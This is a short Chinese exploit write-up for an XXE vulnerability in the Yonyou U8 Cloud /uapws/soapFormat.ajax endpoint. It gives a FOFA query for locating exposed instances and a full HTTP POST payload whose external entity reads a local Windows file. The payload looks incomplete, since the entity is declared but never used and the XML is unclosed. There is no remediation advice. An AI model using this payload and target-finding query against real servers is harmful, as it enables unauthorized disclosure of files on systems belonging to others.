

Y3-13用友-U8-Cloud-XXE

漏洞描述:

用友U8 Cloud soapFormat.ajax接口处存在 [XXE漏洞](#)，攻击者可通过该漏洞获取敏感文件信息，攻击者添加恶意内容，通过易受攻击的代码，就能够攻击包含缺陷的XML处理器。

网站图片:



请下载新版UClient
开启U8 cloud云端之旅

立即下载

网络测绘:

fofa语法:

FOFA: app="用友-U8-Cloud"

漏洞复现:

payload:

```
POST /uapws/soapFormat.ajax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault>
```

效果图:

